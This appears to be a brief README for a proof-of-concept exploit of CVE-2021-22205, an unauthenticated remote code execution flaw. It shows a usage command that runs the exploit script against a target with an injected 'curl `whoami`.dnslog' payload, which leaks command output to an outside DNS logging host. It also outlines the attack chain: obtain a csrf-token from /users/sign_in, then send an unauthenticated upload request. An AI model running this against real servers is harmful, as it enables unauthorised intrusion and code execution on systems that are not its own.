
CVE-2021-22205 Unauthorized RCE
Affected versions:
Usage
python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"

Get csrf-token:

Obtain the csrf-token via /users/sign_in, then use the previous CVE-2021-22205 POC to construct and execute an unauthenticated upload request, ultimately achieving RCE.


ref: